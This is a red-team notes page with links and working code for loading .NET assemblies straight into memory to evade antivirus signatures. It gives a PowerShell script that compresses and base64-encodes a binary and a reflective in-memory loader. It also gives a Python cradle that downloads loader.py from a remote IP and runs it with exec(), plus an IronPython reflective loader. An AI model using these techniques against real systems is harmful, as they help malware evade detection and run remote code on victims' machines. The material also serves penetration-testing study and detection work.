- https://blog.king-sabri.net/red-team/executing-c-assembly-in-memory-using-assembly.load
- https://pscustomobject.github.io/powershell/howto/PowerShell-Add-Assembly/
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack#powersharppack
- https://github.com/GhostPack/Rubeus#sidenote-running-rubeus-through-powershell
- https://github.com/cfalta/PowerShellArmoury/blob/master/ConvertTo-Powershell.ps1
- https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/convert_c%23_to_ps1.ps1
- https://icyguider.github.io/2022/01/03/Convert-CSharp-Tools-To-PowerShell.html
- https://cyberstoph.org/posts/2020/09/convertto-powershell-wrapping-applications-with-ps/
A way to bypass AV signature analysis: you can gzip-compress and base64-encode a .NET assembly to load it reflectively via PowerShell right from memory (when compiling the binary, make Program
class and its Main
method public):
{% code title="CompressEncodeAssembly.ps1" %}
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
notepad.exe .\b64.txt
{% endcode %}
This blog post covers the topic in depth.
An example how the binary can be actually decoded, decompressed and run from memory:
{% code title="Invoke-S0m3B1n4ry.ps1" %}
function Invoke-S0m3B1n4ry
{
#[CmdletBinding()]
#Param([String]$Command = " ")
$a = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("..."))
$b = New-Object System.IO.Compression.GZipStream($a, [System.IO.Compression.CompressionMode]::Decompress)
$c = New-Object System.IO.MemoryStream;
$b.CopyTo($c)
[byte[]]$d = $c.ToArray()
$e = [System.Reflection.Assembly]::Load($d)
$f = [System.Console]::Out
$g = New-Object System.IO.StringWriter
[System.Console]::SetOut($g)
$h = [Reflection.BindingFlags]"Public,NonPublic,Static"
$i = $e.GetType("S0m3B1n4ry.Program", $h)
$j = $i.GetMethod("Main", $h)
$j.Invoke($null, (, [string[]]$args))
#$i = [S0m3B1n4ry.Program]::Main($Command.Split())
[System.Console]::SetOut($f)
$k = $g.ToString()
$k
}
{% endcode %}
- https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader
- https://github.com/IronLanguages/ironpython3/releases
- https://pythonnet.github.io/
- https://github.com/BC-SECURITY/Empire/blob/master/empire/server/stagers/CSharpPy.yaml
- https://github.com/BC-SECURITY/IronSharpPack
Cradle:
>>> import urllib.request
>>> request = urllib.request.Request('http://10.10.13.37/loader.py')
>>> result = urllib.request.urlopen(request)
>>> payload = result.read()
>>> exec(payload)
Payload:
{% code title="loader.py" %}
import clr
import zlib
import base64
clr.AddReference('System')
from System import *
from System.Reflection import *
b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<LOADER_BYTES_B64>'))).decode()
raw = Convert.FromBase64String(b64)
assembly = Assembly.Load(raw)
type = assembly.GetType('Loader.Program')
type.GetMethod('Main').Invoke(Activator.CreateInstance(type), None)
{% endcode %}